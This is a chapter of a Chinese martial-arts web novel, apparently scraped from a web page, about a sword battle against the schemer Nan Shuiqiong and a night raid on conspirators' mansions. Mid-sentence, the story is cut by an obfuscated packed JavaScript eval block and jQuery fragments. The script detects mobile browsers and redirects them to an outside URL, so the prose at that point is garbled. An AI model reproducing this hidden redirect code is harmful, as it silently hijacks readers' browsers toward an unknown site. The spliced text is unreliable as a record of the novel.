深吸了一口气勉强让心情平复了下来,南水穹愤愤道:“萧问冉,是我小瞧你了。”
她如今已经没有一丝一毫的对萧问冉的愧疚了,取而代之的是无边的愤怒与杀意。
她现在只恨她竟然会因为相信萧问冉而没有带血毒人出来,若是她带了血毒人,哪里还轮得到她们在这里叫嚣?
死死盯着对面并肩而立的二人,她脸色阴沉可怖,厉声挤出两个词:“卑鄙!”
萧问冉看着她的神情就知道她在想什么,她大笑了一声:“觉得我们卑鄙?可我们今日做的一切比起国师大人二十年来对北宁做的,简直轻如鸿毛。”
她并没有试图去反驳南水穹的话,因为她知道那并没有用。
二十年前还没有决裂时她就告诉过南水穹她太自负了,可显然,她并没有听进去。
不欲与她多做争端,南水穹也想着快些解决这边的事情回月港城去,双方同时动了手。
方才的对决中,南水穹和萧问冉很明显打成了平手,可有了慕容更晚的加入,她竟也不显得有劣势。
温盛宜观察到了她们那边的局势,暗叫不好。
按理说南水穹既然可以与萧问冉打成平手,那么有了慕容更晚的加入,她们这边应当是有优势在的,怎么会是现在这般模样?
并且……她总觉得,南水穹的状态不对劲。
——在慕容更晚出现后。
***
厚重的府门被人从外粗暴地破开,惊醒了府内正在偷懒的夜管家。
那人当即便被吓得瞪大了眼,带着怒气起身向外探出头去:“什么人竟敢在我晋王府内撒野——”
那人的话音却在看到高坐马背的楚封和岳常峰时骤然断掉。
楚封没工夫去搭理一个无辜下人,目光扫过因还没反应过来而格外寂静的晋王府,他没有丝毫的犹豫,向后挥了挥手:“晋王意欲谋反,陛下震怒,所有人,包围晋王府!”
闻讯赶来的晋王见此场景竟直接吓得瘫倒在地。
被人扶起时,他对上了高处楚封的眼睛。
他的眼中有嗤笑,有鄙夷,有愉悦,只是没有对他这位王爷的敬重。
也对,他只是一个废物王爷啊,他甚至不敢问楚封和岳常峰此行的目的。
狼狈地站在这么多人面前,他绝望地想到。
同样的场景也发生在了那位工部尚书所在的金紫第。
野心勃勃的老人正在趁着夜色与同党在书房中密谈,却被从府外传来的爆破声激出了一身冷汗。
小心走到窗边向外探出头去,着黑衣、身被甲的士兵已将整座府邸团团围住,中间那张熟悉极了的凶神恶煞的脸吓得他猛地打了一个激灵。
那些人,分明都是内司门的人!
虽说当今圣上早年无能,但随着年纪越老,他反倒还变得精明些了。
前些年在慕容更晚的建议下,皇帝亲自着手建立了“内司门”这个组织来对百官进行监管,这几年下来,还真杀了一些朝中毒瘤。
如今看到这些人,包括内司门的首领竟然都来了自家府上,饶是他位高权重,仍不可避免地出了一身冷汗。
内司门的人怎么会来?!
他们的行动泄露了?
不待他细想,他便被从远处飞来的、直直从窗间插入的利剑打断了动作。
蕴含着满满嘲讽的的声音自屋前不远处响起:“大人这是在做什么?恭迎崔某吗?”
厚重有力的脚步声和整齐有序的踢踏声随着他的话语渐行渐近。
一切似乎都将尘埃落定。
与此同时,高处的翼鱼和裴雪时注意到了空旷街道上正在隐蔽前行的人。
她们站在高处,静静看着那些人前往了豪华的晋王府,又赶去富贵的紫金第。
只不过是从前的了。
现在的晋王府和紫金第,里里外外被她们的人包围了个严实,灯火通明的外观下,是内里不堪的一切。
记着众人之前说好的各自的任务,翼鱼飞身下去,跟在了那些人的身后。
或许是因为慕容启节在之前为了不被动趟浑水而对外装了病,那些人并没有去睿王府。
怎么,他们是觉得仅凭他们就可以解决好这一切么?
翼鱼跟在他们后面,无语地笑了笑。
真是和南水穹一脉相承的狂妄自大。
她的武功很高,那些人的水平还远不到可以发现她的地步。
她跟在那些人的身后,冷眼看着他们一行几人“小心翼翼”走啊走、绕啊绕,最后才回到了他们在月港城的据点。
那是月港城西一间普通至极的屋子。
那些人没有去国师府,应是南水穹提前跟他们说过她今日要出去。
可南水穹会提前告知别人她的行踪,这件事情本身就很奇怪。
南水穹看着可不像会对这些在她看来的“下人”将自己的行踪说得这么仔细。
隐着踪迹蹲守在屋檐上,翼鱼一下子突然想起了慕容更晚昨日里在聊天时说的话。
她说南水穹这些日子来不知道在做什么,府内后院的戒备比之往常严密了不少。
她不由地开始多想。
南水穹和这些茱曲信徒是不知道她们的行动,但若是她们本来也有自己的计划呢?
前些日子慕容更晚为了分散南水穹的注意力,在北宁朝中打压了好些官员,狠狠折了南水穹的羽翼。若她真如萧问冉所说是个自负的人的话,被人摆到台面上强行丢脸这种事,一定会惹得她生气的。
那么……
听着底下屋内那些人商议着直接放弃晋王他们,先去国师府放血毒人发动攻击直到撑到南水穹回来,翼鱼就知道自己的直觉是对的。
那么,南水穹也就一定会想办法报复回来的。
后院严防,那她必然对后院养着的那些血毒人做了什么。
就她们知道的消息来看,血毒人需要人血的供养,那她或许会因此而去杀人,杀很多人。
而她的目的,则是计划着该怎么杀了她们。更甚者,怎么篡位。
毕竟,南水穹的野心,也算是人尽皆知的了。
***
南水穹带来的人中,有九霄人,也有温盛宜她们之前接触过的“黑衣人”。
游走在那些人之间,温盛宜有一刻甚至有些想笑。
南水穹这样将自己从茱曲带来的人和在月港城招揽到的人放在一起,是不是其实也还是会有担忧的心理呢?
担忧那些黑衣人会露馅,担忧她“茱曲人”的身份会暴露。
毕竟在现在的九霄大陆,还有很多六十几年前那场战役的亲临者,而只要还有一个人记得那场战役,茱曲,就永远都会是九霄的敌人。
——当然,那些叛徒除外。
毫不留情杀完南水穹带来的侍卫之后,温盛宜便赶过去支援那边的慕容更晚二人了。
从南水穹身后一剑劈下,温盛宜快速飘到了慕容更晚她们那边。
举剑戒严,萧问冉沉重道:“她不对劲。”
温盛宜一个不参与战斗的人都看出来了的事情,这边正在和南水穹交手的二人自然也切身体会到了。
看见她们三人站在一起,南
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682755|178820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水穹眼中有隐隐的血丝浮了上来,但是隔着雾气和大段的距离,温盛宜三人并没有看到。
擦了擦嘴角缓慢溢出的血,南水穹看着她们笑道:“我承认你们的功夫不错,你们应当是分为了两处人马吧?一处专程来杀我,而另一处——”
她没有接着说,只是又问道:“你们在月港城,想做什么呢?”
她语气淡淡,已然听不出最开始的那种愤怒了,语调甚至不紧不慢的,就好像……
温盛宜和慕容更晚二人对了个视线,心中的怪异感更甚了。
好像是和一开始的那个南水穹,割裂开了一样。
距离月港城里传来鸣响声已经过去有些时间了,她们知道楚封他们定是将人控制住了的,但她们真正的目标是藏得更深的茱曲信徒和国师府内的血毒人。
而那些茱曲信徒的行动和想法又是她们根本揣测不到的,她们很不放心在月港城的那些人。
所以她们必须快些解决南水穹,再抓紧时间快些赶回月港城。
只是原本以为凭她们三个杀南水穹不成问题,怎知现在出了这种奇怪的事情。
现在南水穹不急了,她们很急。
心下无奈,三人又默契地飞身上前。
没办法了,不管南水穹是怎么回事,兵来将挡水来土掩吧。
南水穹,必须在今天死在这片栾树林里!
若是让她成功逃走再找来更多的救兵或是血毒人,那月港城才是真正的将再无宁日。
就在她们快要飞到南水穹身边的时候,却见一股带着强烈肃杀意的剑气从她的周遭涌出。
三人都快速反应过来向后退避,可那股真气来得气势汹汹,她们内里还是被震得难受极了。
“我看今日,谁杀谁可还不一定呢!”
温盛宜三人被震退后,南水穹便起身以最开始的她不可能会有的极快的速度飞至她们身前,剑势如狂风般袭来!
温盛宜手中拿的剑其实是最开始和南水穹的人打斗时,从一个死尸身上抢过来的。
那剑很普通,那群人每人都有一把,应该是他们的组织上一起发的。
可是——
温盛宜眼神坚定,嘴角扬起一抹从容的笑。
再好的剑,如若是交予一个资质平庸之人,也只有落灰的份。
而再普通再差的剑,若是交给一个天赋异禀又实力强悍的人,也会变成让人闻风丧胆的宝剑!
见状,她先是扬起声调对着慕容更晚二人喊道:“你们都退后!”
随即,她也脚下使着轻功向后退去,可手中长剑却在她的身前快速旋转。
剑光激起花火,使得她的身前仿佛有一轮圆月一般。
就在南水穹的攻势堪堪来临之时,她手中推拒,又猛地将剑向前甩去,白刃势不可挡地向前侵袭而去,在刹那间便消解了南水穹的招式。
那一招的攻势蛮横极了,让如今有外力相助的南水穹都惊愕不已,连忙向一旁躲去。
可她却还是被那凶猛的剑气震得直直后退,直至后背猛地撞上一棵树,这才狼狈停下。
后退时她特意花了精力护住了自己的经脉,可在真的撞到了树上时,她还是猛地吐了一口血。
而那剑,却还在裹挟着凌厉的风声向前去!
长剑争鸣过处,雾气都被打散,合着此时的风雨声,竟有一种能撕破天际的强势感。
忽有惊雷在骤然间打下,照亮了这一方天地,也将前面剑招过处的满地荒夷在人前展示了片刻。
剑锋所至,陆野尽平。
剑势如虹,可令天地色变。